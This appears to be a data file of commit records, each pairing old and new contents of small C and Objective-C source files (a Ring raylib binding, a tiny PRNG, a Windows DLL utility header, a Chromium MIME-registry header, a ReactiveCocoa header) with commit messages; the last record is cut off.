{"commit":"4814a4f313437938e31f150c2b8b9d4b25b659f3","old_file":"extensions\/ringraylib\/ring_raylib.c","new_file":"extensions\/ringraylib\/ring_raylib.c","old_contents":"\/* Copyright (c) 2019 Mahmoud Fayed <msfclipper@yahoo.com> *\/\n\n#define RING_EXTENSION\t\/\/ Don't call : windows.h (Avoid conflict with raylib.h)\n#include <ring.h>\n\n#include <raylib.h>\n\n\nRING_FUNC(ring_InitWindow)\n{\n\tif ( RING_API_PARACOUNT != 3 ) {\n\t\tRING_API_ERROR(RING_API_MISS3PARA);\n\t\treturn ;\n\t}\n\tif ( ! RING_API_ISNUMBER(1) ) {\n\t\tRING_API_ERROR(RING_API_BADPARATYPE);\n\t\treturn ;\n\t}\n\tif ( ! RING_API_ISNUMBER(2) ) {\n\t\tRING_API_ERROR(RING_API_BADPARATYPE);\n\t\treturn ;\n\t}\n\tif ( ! RING_API_ISSTRING(3) ) {\n\t\tRING_API_ERROR(RING_API_BADPARATYPE);\n\t\treturn ;\n\t}\n\tInitWindow( (int ) RING_API_GETNUMBER(1), (int ) RING_API_GETNUMBER(2),RING_API_GETSTRING(3));\n}\n\nRING_API void ringlib_init(RingState *pRingState)\n{\n\tring_vm_funcregister(\"initwindow\",ring_InitWindow);\n}\n","new_contents":"\/* Copyright (c) 2019 Mahmoud Fayed <msfclipper@yahoo.com> *\/\n\n#define RING_EXTENSION\t\/\/ Don't call : windows.h (Avoid conflict with raylib.h)\n#include <ring.h>\n\n#include <raylib.h>\n\n\nRING_FUNC(ring_InitWindow)\n{\n\tif ( RING_API_PARACOUNT != 3 ) {\n\t\tRING_API_ERROR(RING_API_MISS3PARA);\n\t\treturn ;\n\t}\n\tif ( ! RING_API_ISNUMBER(1) ) {\n\t\tRING_API_ERROR(RING_API_BADPARATYPE);\n\t\treturn ;\n\t}\n\tif ( ! RING_API_ISNUMBER(2) ) {\n\t\tRING_API_ERROR(RING_API_BADPARATYPE);\n\t\treturn ;\n\t}\n\tif ( ! RING_API_ISSTRING(3) ) {\n\t\tRING_API_ERROR(RING_API_BADPARATYPE);\n\t\treturn ;\n\t}\n\tInitWindow( (int ) RING_API_GETNUMBER(1), (int ) RING_API_GETNUMBER(2),RING_API_GETSTRING(3));\n}\n\n\nRING_FUNC(ring_WindowShouldClose)\n{\n\tif ( RING_API_PARACOUNT != 0 ) {\n\t\tRING_API_ERROR(RING_API_BADPARACOUNT);\n\t\treturn ;\n\t}\n\tRING_API_RETNUMBER(WindowShouldClose());\n}\n\nRING_API void ringlib_init(RingState *pRingState)\n{\n\tring_vm_funcregister(\"initwindow\",ring_InitWindow);\n\tring_vm_funcregister(\"windowshouldclose\",ring_WindowShouldClose);\n}\n","subject":"Update RingRayLib - raylib.c - Add Function : bool WindowShouldClose(void)","message":"Update RingRayLib - raylib.c - Add Function : bool WindowShouldClose(void)\n","lang":"C","license":"mit","repos":"ring-lang\/ring,ring-lang\/ring,ring-lang\/ring,ring-lang\/ring,ring-lang\/ring,ring-lang\/ring,ring-lang\/ring,ring-lang\/ring"}
{"commit":"38bb672422fc9c08c33b6caa424c5bb7a9296c15","old_file":"turboencabulator\/entropy.h","new_file":"turboencabulator\/entropy.h","old_contents":"","new_contents":"uint32_t _rng_state = millis()\n\n\nvoid init_rng() {\n  _rng_state = 75380540 - millis()\n  for (int i=0; i<100; i++)\n\ttiny_prng()\n}\n\nuint32_t tiny_prng() {\n\tuint32_t x = _rng_state;\n\tx ^= x << 13;\n\tx ^= x >> 17;\n\tx ^= x << 5;\n\t_rng_state = x;\n\treturn x;\n}","subject":"Add tiny rng for volume control","message":"Add tiny rng for volume control\n","lang":"C","license":"mit","repos":"coup-de-foudre\/teensy-interruptor,coup-de-foudre\/teensy-interruptor,coup-de-foudre\/teensy-interruptor"}
{"commit":"3895b6735a6ae19211bd663e0eb6bfe48dbd1906","old_file":"Components.h","new_file":"Components.h","old_contents":"\n","new_contents":"\n\/*\n\t\t\t\t\t\t\tMIT License\n\t\t\t\t\tCopyright (c) 2017 ZeroUnix\n\tPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\tTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n\n*\/\n\n\/\/ **Note: Please read the 'README.md' first \n\/\/ The following ifdef block is the standard way of creating macros which make exporting \n\/\/ from a DLL simpler. All files within this DLL are compiled with the DLLEXPORTPROJ_EXPORTS\n\/\/ symbol defined on the command line. This symbol should not be defined on any project\n\/\/ that uses this DLL. This way any other project whose source files include this file see \n\/\/ DLLEXPORTPROJ_API functions as being imported from a DLL, whereas this DLL sees symbols\n\/\/ defined with this macro as being exported.\n#ifdef DLLEXPORTPROJ_EXPORTS\n#define DLLEXPORTPROJ_API __declspec(dllexport)\n#else\n#define DLLEXPORTPROJ_API __declspec(dllimport)\n#endif\n\n\/\/Windows Header \n#include <windows.h>\n\n#include <windowsx.h>\n\n#include <AccCtrl.h>\n#include <AclAPI.h>\n\n#include <shellapi.h>\n#include <stdlib.h>\n\nDLLEXPORTPROJ_API BOOL AdministratorPrivilege(VOID);\n\nDLLEXPORTPROJ_API VOID ElevateCurrentProcess(VOID);\n\n\nDLLEXPORTPROJ_API BOOL IsStartup(LPWSTR pszAppName, LPWSTR hSubKey);\n\nDLLEXPORTPROJ_API BOOL RegisterApp(LPWSTR pszAppName, LPWSTR pathToExe, LPWSTR args, LPWSTR hSubKey);\n\nDLLEXPORTPROJ_API VOID EnableStartup(LPWSTR pszAppName, LPWSTR args);\n","subject":"Add functions, headers & description","message":"Add functions, headers & description","lang":"C","license":"mit","repos":"Z3r0Un1x\/zeroDll"}
{"commit":"69da97a9d0b256a4d9448bfa5f9569ac38156c1f","old_file":"source\/crate_demo\/graphics_manager.h","new_file":"source\/crate_demo\/graphics_manager.h","old_contents":"\/* The Halfling Project - A Graphics Engine and Projects\n *\n * The Halfling Project is the legal property of Adrian Astley\n * Copyright Adrian Astley 2013\n *\/\n\n#ifndef CRATE_DEMO_GRAPHICS_MANAGER_H\n#define CRATE_DEMO_GRAPHICS_MANAGER_H\n\n#include \"common\/graphics_manager_base.h\"\n\n#include <d3d11.h>\n\nnamespace CrateDemo {\n\nclass GameStateManager;\nclass GraphicsManager : public Common::GraphicsManagerBase {\npublic:\n\tGraphicsManager(GameStateManager *gameStateManager);\n\nprivate:\n\tGameStateManager *m_gameStateManager;\n\n\tID3D11RenderTargetView *m_renderTargetView;\n\n\n\n\npublic:\n\tbool Initialize(int clientWidth, int clientHeight, HWND hwnd);\n\tvoid Shutdown();\n\tvoid DrawFrame();\n\tvoid OnResize(int newClientWidth, int newClientHeight);\n\tvoid GamePaused();\n\tvoid GameUnpaused();\n};\n\n} \/\/ End of namespace CrateDemo\n\n#endif\n","new_contents":"\/* The Halfling Project - A Graphics Engine and Projects\n *\n * The Halfling Project is the legal property of Adrian Astley\n * Copyright Adrian Astley 2013\n *\/\n\n#ifndef CRATE_DEMO_GRAPHICS_MANAGER_H\n#define CRATE_DEMO_GRAPHICS_MANAGER_H\n\n#include \"common\/graphics_manager_base.h\"\n\n#include <d3d11.h>\n#include \"DirectXMath.h\"\n\nnamespace CrateDemo {\n\nclass GameStateManager;\n\nstruct Vertex {\n\tDirectX::XMFLOAT3 pos;\n\tDirectX::XMFLOAT4 color;\n};\n\nclass GraphicsManager : public Common::GraphicsManagerBase {\npublic:\n\tGraphicsManager(GameStateManager *gameStateManager);\n\nprivate:\n\tGameStateManager *m_gameStateManager;\n\n\tID3D11RenderTargetView *m_renderTargetView;\n\n\n\n\npublic:\n\tbool Initialize(int clientWidth, int clientHeight, HWND hwnd);\n\tvoid Shutdown();\n\tvoid DrawFrame();\n\tvoid OnResize(int newClientWidth, int newClientHeight);\n\tvoid GamePaused();\n\tvoid GameUnpaused();\n};\n\n} \/\/ End of namespace CrateDemo\n\n#endif\n","subject":"Create Vertex struct to hold vertex info","message":"CRATE_DEMO: Create Vertex struct to hold vertex info\n","lang":"C","license":"apache-2.0","repos":"RichieSams\/thehalflingproject,RichieSams\/thehalflingproject,RichieSams\/thehalflingproject"}
{"commit":"cdcefd8721e2f8df853cdc0cd8a7a67a122b7be1","old_file":"webkit\/glue\/simple_webmimeregistry_impl.h","new_file":"webkit\/glue\/simple_webmimeregistry_impl.h","old_contents":"\/\/ Copyright (c) 2009 The Chromium Authors. All rights reserved.  Use of this\n\/\/ source code is governed by a BSD-style license that can be found in the\n\/\/ LICENSE file.\n\n#ifndef WEBMIMEREGISTRY_IMPL_H_\n#define WEBMIMEREGISTRY_IMPL_H_\n\n#include \"third_party\/WebKit\/WebKit\/chromium\/public\/WebMimeRegistry.h\"\n\nnamespace webkit_glue {\n\nclass SimpleWebMimeRegistryImpl : public WebKit::WebMimeRegistry {\n public:\n  \/\/ WebMimeRegistry methods:\n  virtual WebKit::WebMimeRegistry::SupportsType supportsMIMEType(\n      const WebKit::WebString&);\n  virtual WebKit::WebMimeRegistry::SupportsType supportsImageMIMEType(\n      const WebKit::WebString&);\n  virtual WebKit::WebMimeRegistry::SupportsType supportsJavaScriptMIMEType(\n      const WebKit::WebString&);\n  virtual WebKit::WebMimeRegistry::SupportsType supportsMediaMIMEType(\n      const WebKit::WebString&, const WebKit::WebString&);\n  virtual WebKit::WebMimeRegistry::SupportsType supportsNonImageMIMEType(\n      const WebKit::WebString&);\n  virtual WebKit::WebString mimeTypeForExtension(const WebKit::WebString&);\n  virtual WebKit::WebString mimeTypeFromFile(const WebKit::WebString&);\n  virtual WebKit::WebString preferredExtensionForMIMEType(\n      const WebKit::WebString&);\n};\n\n}  \/\/ namespace webkit_glue\n\n#endif  \/\/ WEBMIMEREGISTRY_IMPL_H_\n","new_contents":"\/\/ Copyright (c) 2009 The Chromium Authors. All rights reserved.  Use of this\n\/\/ source code is governed by a BSD-style license that can be found in the\n\/\/ LICENSE file.\n\n#ifndef WEBMIMEREGISTRY_IMPL_H_\n#define WEBMIMEREGISTRY_IMPL_H_\n\n#include \"third_party\/WebKit\/WebKit\/chromium\/public\/WebMimeRegistry.h\"\n\nnamespace webkit_glue {\n\nclass SimpleWebMimeRegistryImpl : public WebKit::WebMimeRegistry {\n public:\n  SimpleWebMimeRegistryImpl() {}\n  virtual ~SimpleWebMimeRegistryImpl() {}\n\n  \/\/ WebMimeRegistry methods:\n  virtual WebKit::WebMimeRegistry::SupportsType supportsMIMEType(\n      const WebKit::WebString&);\n  virtual WebKit::WebMimeRegistry::SupportsType supportsImageMIMEType(\n      const WebKit::WebString&);\n  virtual WebKit::WebMimeRegistry::SupportsType supportsJavaScriptMIMEType(\n      const WebKit::WebString&);\n  virtual WebKit::WebMimeRegistry::SupportsType supportsMediaMIMEType(\n      const WebKit::WebString&, const WebKit::WebString&);\n  virtual WebKit::WebMimeRegistry::SupportsType supportsNonImageMIMEType(\n      const WebKit::WebString&);\n  virtual WebKit::WebString mimeTypeForExtension(const WebKit::WebString&);\n  virtual WebKit::WebString mimeTypeFromFile(const WebKit::WebString&);\n  virtual WebKit::WebString preferredExtensionForMIMEType(\n      const WebKit::WebString&);\n};\n\n}  \/\/ namespace webkit_glue\n\n#endif  \/\/ WEBMIMEREGISTRY_IMPL_H_\n","subject":"Add a virtual destructor to SimpleWebMimeRegistryImpl so that child class destructors get called correctly.","message":"Add a virtual destructor to SimpleWebMimeRegistryImpl so that child class destructors get called correctly.\n\nBUG=62828\nTEST=No memory leak in TestShellWebMimeRegistryImpl\nReview URL: http:\/\/codereview.chromium.org\/4880002\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@65967 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"TheTypoMaster\/chromium-crosswalk,fujunwei\/chromium-crosswalk,dednal\/chromium.src,patrickm\/chromium.src,zcbenz\/cefode-chromium,hujiajie\/pa-chromium,patrickm\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,axinging\/chromium-crosswalk,dednal\/chromium.src,Chilledheart\/chromium,pozdnyakov\/chromium-crosswalk,chuan9\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,Chilledheart\/chromium,keishi\/chromium,keishi\/chromium,bright-sparks\/chromium-spacewalk,littlstar\/chromium.src,krieger-od\/nwjs_chromium.src,rogerwang\/chromium,anirudhSK\/chromium,robclark\/chromium,PeterWangIntel\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,jaruba\/chromium.src,pozdnyakov\/chromium-crosswalk,robclark\/chromium,Fireblend\/chromium-crosswalk,M4sse\/chromium.src,littlstar\/chromium.src,nacl-webkit\/chrome_deps,ondra-novak\/chromium.src,TheTypoMaster\/chromium-crosswalk,Fireblend\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,Pluto-tv\/chromium-crosswalk,mogoweb\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,zcbenz\/cefode-chromium,TheTypoMaster\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,ondra-novak\/chromium.src,Jonekee\/chromium.src,PeterWangIntel\/chromium-crosswalk,hujiajie\/pa-chromium,axinging\/chromium-crosswalk,robclark\/chromium,Chilledheart\/chromium,nacl-webkit\/chrome_deps,markYoungH\/chromium.src,Pluto-tv\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,ltilve\/chromium,mohamed--abdel-maksoud\/chromium.src,rogerwang\/chromium,mogoweb\/chromium-crosswalk,M4sse\/chromium.src,nacl-webkit\/chrome_deps,mohamed--abdel-maksoud\/chromium.src,axinging\/chromium-crosswalk,chuan9\/chromium-crosswalk,axinging\/chromium-crosswalk,patrickm\/chromium.src,hgl888\/chromium-crosswalk-efl,chuan9\/chromium-crosswalk,littlstar\/chromium.src,nacl-webkit\/chrome_deps,ltilve\/chromium,anirudhSK\/chromium,nacl-webkit\/chrome_deps,junmin-zhu\/chromium-rivertrail,krieger-od\/nwjs_chromium.src,axinging\/chromium-crosswalk,jaruba\/chromium.src,zcbenz\/cefode-chromium,zcbenz\/cefode-chromium,hujiajie\/pa-chromium,ltilve\/chromium,junmin-zhu\/chromium-rivertrail,robclark\/chromium,markYoungH\/chromium.src,dushu1203\/chromium.src,anirudhSK\/chromium,krieger-od\/nwjs_chromium.src,pozdnyakov\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,Just-D\/chromium-1,Pluto-tv\/chromium-crosswalk,Fireblend\/chromium-crosswalk,dushu1203\/chromium.src,Jonekee\/chromium.src,mohamed--abdel-maksoud\/chromium.src,jaruba\/chromium.src,markYoungH\/chromium.src,dednal\/chromium.src,TheTypoMaster\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,junmin-zhu\/chromium-rivertrail,pozdnyakov\/chromium-crosswalk,Fireblend\/chromium-crosswalk,jaruba\/chromium.src,littlstar\/chromium.src,pozdnyakov\/chromium-crosswalk,anirudhSK\/chromium,Jonekee\/chromium.src,krieger-od\/nwjs_chromium.src,mogoweb\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,ChromiumWebApps\/chromium,TheTypoMaster\/chromium-crosswalk,Jonekee\/chromium.src,mogoweb\/chromium-crosswalk,zcbenz\/cefode-chromium,nacl-webkit\/chrome_deps,hujiajie\/pa-chromium,M4sse\/chromium.src,hgl888\/chromium-crosswalk,ltilve\/chromium,Just-D\/chromium-1,chuan9\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,keishi\/chromium,mogoweb\/chromium-crosswalk,axinging\/chromium-crosswalk,ltilve\/chromium,Chilledheart\/chromium,PeterWangIntel\/chromium-crosswalk,hujiajie\/pa-chromium,markYoungH\/chromium.src,ChromiumWebApps\/chromium,jaruba\/chromium.src,rogerwang\/chromium,pozdnyakov\/chromium-crosswalk,nacl-webkit\/chrome_deps,markYoungH\/chromium.src,ltilve\/chromium,ChromiumWebApps\/chromium,Just-D\/chromium-1,Chilledheart\/chromium,jaruba\/chromium.src,chuan9\/chromium-crosswalk,rogerwang\/chromium,hgl888\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,crosswalk-project\/chromium-crosswalk-efl,littlstar\/chromium.src,M4sse\/chromium.src,Jonekee\/chromium.src,TheTypoMaster\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,dednal\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,keishi\/chromium,mogoweb\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,ChromiumWebApps\/chromium,dushu1203\/chromium.src,ondra-novak\/chromium.src,Jonekee\/chromium.src,hujiajie\/pa-chromium,pozdnyakov\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,anirudhSK\/chromium,ChromiumWebApps\/chromium,ondra-novak\/chromium.src,krieger-od\/nwjs_chromium.src,ondra-novak\/chromium.src,TheTypoMaster\/chromium-crosswalk,ChromiumWebApps\/chromium,junmin-zhu\/chromium-rivertrail,keishi\/chromium,bright-sparks\/chromium-spacewalk,hujiajie\/pa-chromium,rogerwang\/chromium,dednal\/chromium.src,Chilledheart\/chromium,TheTypoMaster\/chromium-crosswalk,patrickm\/chromium.src,Jonekee\/chromium.src,ondra-novak\/chromium.src,timopulkkinen\/BubbleFish,Jonekee\/chromium.src,M4sse\/chromium.src,ltilve\/chromium,robclark\/chromium,anirudhSK\/chromium,Jonekee\/chromium.src,robclark\/chromium,pozdnyakov\/chromium-crosswalk,keishi\/chromium,hujiajie\/pa-chromium,mogoweb\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,patrickm\/chromium.src,anirudhSK\/chromium,timopulkkinen\/BubbleFish,zcbenz\/cefode-chromium,zcbenz\/cefode-chromium,hujiajie\/pa-chromium,fujunwei\/chromium-crosswalk,hgl888\/chromium-crosswalk,patrickm\/chromium.src,rogerwang\/chromium,markYoungH\/chromium.src,patrickm\/chromium.src,Fireblend\/chromium-crosswalk,M4sse\/chromium.src,hgl888\/chromium-crosswalk,patrickm\/chromium.src,krieger-od\/nwjs_chromium.src,zcbenz\/cefode-chromium,fujunwei\/chromium-crosswalk,Just-D\/chromium-1,rogerwang\/chromium,nacl-webkit\/chrome_deps,PeterWangIntel\/chromium-crosswalk,Jonekee\/chromium.src,pozdnyakov\/chromium-crosswalk,fujunwei\/chromium-crosswalk,hgl888\/chromium-crosswalk,anirudhSK\/chromium,fujunwei\/chromium-crosswalk,Chilledheart\/chromium,axinging\/chromium-crosswalk,Fireblend\/chromium-crosswalk,hujiajie\/pa-chromium,mogoweb\/chromium-crosswalk,dushu1203\/chromium.src,keishi\/chromium,Chilledheart\/chromium,mogoweb\/chromium-crosswalk,keishi\/chromium,junmin-zhu\/chromium-rivertrail,keishi\/chromium,dednal\/chromium.src,mohamed--abdel-maksoud\/chromium.src,PeterWangIntel\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,Chilledheart\/chromium,junmin-zhu\/chromium-rivertrail,krieger-od\/nwjs_chromium.src,chuan9\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,dushu1203\/chromium.src,hgl888\/chromium-crosswalk-efl,dushu1203\/chromium.src,Just-D\/chromium-1,ChromiumWebApps\/chromium,robclark\/chromium,keishi\/chromium,hgl888\/chromium-crosswalk-efl,chuan9\/chromium-crosswalk,hgl888\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,Jonekee\/chromium.src,timopulkkinen\/BubbleFish,markYoungH\/chromium.src,nacl-webkit\/chrome_deps,ChromiumWebApps\/chromium,ChromiumWebApps\/chromium,timopulkkinen\/BubbleFish,dednal\/chromium.src,Pluto-tv\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,ondra-novak\/chromium.src,ChromiumWebApps\/chromium,mohamed--abdel-maksoud\/chromium.src,Just-D\/chromium-1,jaruba\/chromium.src,mogoweb\/chromium-crosswalk,dednal\/chromium.src,M4sse\/chromium.src,dushu1203\/chromium.src,jaruba\/chromium.src,krieger-od\/nwjs_chromium.src,bright-sparks\/chromium-spacewalk,Fireblend\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,M4sse\/chromium.src,junmin-zhu\/chromium-rivertrail,Fireblend\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,fujunwei\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,nacl-webkit\/chrome_deps,jaruba\/chromium.src,pozdnyakov\/chromium-crosswalk,littlstar\/chromium.src,bright-sparks\/chromium-spacewalk,mohamed--abdel-maksoud\/chromium.src,mohamed--abdel-maksoud\/chromium.src,timopulkkinen\/BubbleFish,hgl888\/chromium-crosswalk-efl,axinging\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,timopulkkinen\/BubbleFish,Just-D\/chromium-1,dushu1203\/chromium.src,ChromiumWebApps\/chromium,dednal\/chromium.src,timopulkkinen\/BubbleFish,hgl888\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,fujunwei\/chromium-crosswalk,markYoungH\/chromium.src,zcbenz\/cefode-chromium,hujiajie\/pa-chromium,ChromiumWebApps\/chromium,rogerwang\/chromium,robclark\/chromium,anirudhSK\/chromium,littlstar\/chromium.src,hgl888\/chromium-crosswalk-efl,Pluto-tv\/chromium-crosswalk,ondra-novak\/chromium.src,markYoungH\/chromium.src,dushu1203\/chromium.src,nacl-webkit\/chrome_deps,mohamed--abdel-maksoud\/chromium.src,rogerwang\/chromium,dushu1203\/chromium.src,keishi\/chromium,chuan9\/chromium-crosswalk,Just-D\/chromium-1,jaruba\/chromium.src,dednal\/chromium.src,timopulkkinen\/BubbleFish,patrickm\/chromium.src,M4sse\/chromium.src,markYoungH\/chromium.src,bright-sparks\/chromium-spacewalk,TheTypoMaster\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,hgl888\/chromium-crosswalk,M4sse\/chromium.src,Just-D\/chromium-1,littlstar\/chromium.src,bright-sparks\/chromium-spacewalk,krieger-od\/nwjs_chromium.src,robclark\/chromium,timopulkkinen\/BubbleFish,Fireblend\/chromium-crosswalk,fujunwei\/chromium-crosswalk,zcbenz\/cefode-chromium,ondra-novak\/chromium.src,timopulkkinen\/BubbleFish,PeterWangIntel\/chromium-crosswalk,zcbenz\/cefode-chromium,axinging\/chromium-crosswalk,rogerwang\/chromium,M4sse\/chromium.src,markYoungH\/chromium.src,anirudhSK\/chromium,crosswalk-project\/chromium-crosswalk-efl,axinging\/chromium-crosswalk,dushu1203\/chromium.src,axinging\/chromium-crosswalk,ltilve\/chromium,ltilve\/chromium,Pluto-tv\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,fujunwei\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,anirudhSK\/chromium,chuan9\/chromium-crosswalk,jaruba\/chromium.src,dednal\/chromium.src,hgl888\/chromium-crosswalk,robclark\/chromium,hgl888\/chromium-crosswalk-efl,anirudhSK\/chromium,mohamed--abdel-maksoud\/chromium.src,timopulkkinen\/BubbleFish"}
{"commit":"6db0074fe5c581587b4d47b45308d59afcd560d6","old_file":"ReactiveCocoaFramework\/ReactiveCocoa\/NSUserDefaults+RACSupport.h","new_file":"ReactiveCocoaFramework\/ReactiveCocoa\/NSUserDefaults+RACSupport.h","old_contents":"\/\/\n\/\/  NSUserDefaults+RACSupport.h\n\/\/  ReactiveCocoa\n\/\/\n\/\/  Created by Matt Diephouse on 12\/19\/13.\n\/\/  Copyright (c) 2013 GitHub, Inc. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@class RACChannelTerminal;\n\n@interface NSUserDefaults (RACSupport)\n\n\/\/ Creates and returns a terminal for binding the user defaults key.\n\/\/\n\/\/ key - The user defaults key to create the channel terminal for.\n\/\/\n\/\/ This makes it easy to bind a property to a default by assigning to\n\/\/ `RACChannelTo`.\n\/\/\n\/\/ Returns a channel terminal.\n- (RACChannelTerminal *)rac_channelTerminalForKey:(NSString *)key;\n\n@end\n","new_contents":"\/\/\n\/\/  NSUserDefaults+RACSupport.h\n\/\/  ReactiveCocoa\n\/\/\n\/\/  Created by Matt Diephouse on 12\/19\/13.\n\/\/  Copyright (c) 2013 GitHub, Inc. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@class RACChannelTerminal;\n\n@interface NSUserDefaults (RACSupport)\n\n\/\/ Creates and returns a terminal for binding the user defaults key.\n\/\/\n\/\/ key - The user defaults key to create the channel terminal for.\n\/\/\n\/\/ This makes it easy to bind a property to a default by assigning to\n\/\/ `RACChannelTo`.\n\/\/\n\/\/ The terminal will send the value of the user defaults key upon subscription.\n\/\/\n\/\/ Returns a channel terminal.\n- (RACChannelTerminal *)rac_channelTerminalForKey:(NSString *)key;\n\n@end\n","subject":"Clarify that the terminal sends a value upon subscription","message":"Clarify that the terminal sends a value upon subscription\n","lang":"C","license":"mit","repos":"Carthage\/ReactiveCocoa,chieryw\/ReactiveCocoa,Pingco\/ReactiveCocoa,dachaoisme\/ReactiveCocoa,sdhzwm\/ReactiveCocoa,huiping192\/ReactiveCocoa,eyu1988\/ReactiveCocoa,chieryw\/ReactiveCocoa,on99\/ReactiveCocoa,OneSmallTree\/ReactiveCocoa,pzw224\/ReactiveCocoa,eliperkins\/ReactiveCocoa,loupman\/ReactiveCocoa,SuPair\/ReactiveCocoa,Ray0218\/ReactiveCocoa,shaohung001\/ReactiveCocoa,clg0118\/ReactiveCocoa,wpstarnice\/ReactiveCocoa,WEIBP\/ReactiveCocoa,ikesyo\/ReactiveCocoa,brasbug\/ReactiveCocoa,yaoxiaoyong\/ReactiveCocoa,zxq3220122\/ReactiveCocoa,OnTheWay1988\/ReactiveCocoa,PSPDFKit-labs\/ReactiveCocoa,walkingsmarts\/ReactiveCocoa,sujeking\/ReactiveCocoa,Liquidsoul\/ReactiveCocoa,terry408911\/ReactiveCocoa,eliperkins\/ReactiveCocoa,mattpetters\/ReactiveCocoa,jaylib\/ReactiveCocoa,ioshger0125\/ReactiveCocoa,OnTheWay1988\/ReactiveCocoa,yangshengchaoios\/ReactiveCocoa,LHDsimon\/ReactiveCocoa,add715\/ReactiveCocoa,wangqi211\/ReactiveCocoa,Rupert-RR\/ReactiveCocoa,xumaolin\/ReactiveCocoa,cstars135\/ReactiveCocoa,icepy\/ReactiveCocoa,SanChain\/ReactiveCocoa,clg0118\/ReactiveCocoa,dz1111\/ReactiveCocoa,ericzhou2008\/ReactiveCocoa,esttorhe\/ReactiveCocoa,bscarano\/ReactiveCocoa,Pingco\/ReactiveCocoa,jaylib\/ReactiveCocoa,pzw224\/ReactiveCocoa,BrooksWon\/ReactiveCocoa,wpstarnice\/ReactiveCocoa,hj3938\/ReactiveCocoa,ailyanlu\/ReactiveCocoa,BlessNeo\/ReactiveCocoa,richeterre\/ReactiveCocoa,cstars135\/ReactiveCocoa,buildo\/ReactiveCocoa,dachaoisme\/ReactiveCocoa,sandyway\/ReactiveCocoa,LHDsimon\/ReactiveCocoa,ReactiveCocoa\/ReactiveSwift,mtxs007\/ReactiveCocoa,ddc391565320\/ReactiveCocoa,yonekawa\/ReactiveCocoa,andersio\/ReactiveCocoa,mxxiv\/ReactiveCocoa,hoanganh6491\/ReactiveCocoa,ohwutup\/ReactiveCocoa,towik\/ReactiveCocoa,Remitly\/ReactiveCocoa,jianwoo\/ReactiveCocoa,JohnJin007\/ReactiveCocoa,hj3938\/ReactiveCocoa,SuPair\/ReactiveCocoa,yonekawa\/ReactiveCocoa,cogddo\/ReactiveCocoa,smilypeda\/ReactiveCocoa,sugar2010\/ReactiveCocoa,tonyarnold\/ReactiveCocoa,Ray0218\/ReactiveCocoa,liufeigit\/ReactiveCocoa,Pingco\/ReactiveCocoa,zzzworm\/ReactiveCocoa,bensonday\/ReactiveCocoa,monkeydbobo\/ReactiveCocoa,stevielu\/ReactiveCocoa,ericzhou2008\/ReactiveCocoa,dachaoisme\/ReactiveCocoa,ailyanlu\/ReactiveCocoa,mxxiv\/ReactiveCocoa,koamac\/ReactiveCocoa,koamac\/ReactiveCocoa,jaylib\/ReactiveCocoa,dullgrass\/ReactiveCocoa,stupidfive\/ReactiveCocoa,kaylio\/ReactiveCocoa,AllanChen\/ReactiveCocoa,eliperkins\/ReactiveCocoa,loupman\/ReactiveCocoa,ShawnLeee\/ReactiveCocoa,shuxiashusheng\/ReactiveCocoa,tonyarnold\/ReactiveCocoa,walkingsmarts\/ReactiveCocoa,KJin99\/ReactiveCocoa,zhenlove\/ReactiveCocoa,almassapargali\/ReactiveCocoa,Adlai-Holler\/ReactiveCocoa,ztchena\/ReactiveCocoa,ShawnLeee\/ReactiveCocoa,PSPDFKit-labs\/ReactiveCocoa,libiao88\/ReactiveCocoa,mattpetters\/ReactiveCocoa,WEIBP\/ReactiveCocoa,msdgwzhy6\/ReactiveCocoa,loupman\/ReactiveCocoa,kaylio\/ReactiveCocoa,jsslai\/ReactiveCocoa,liufeigit\/ReactiveCocoa,howandhao\/ReactiveCocoa,Ricowere\/ReactiveCocoa,200895045\/ReactiveCocoa,nikita-leonov\/ReactiveCocoa,msdgwzhy6\/ReactiveCocoa,imkerberos\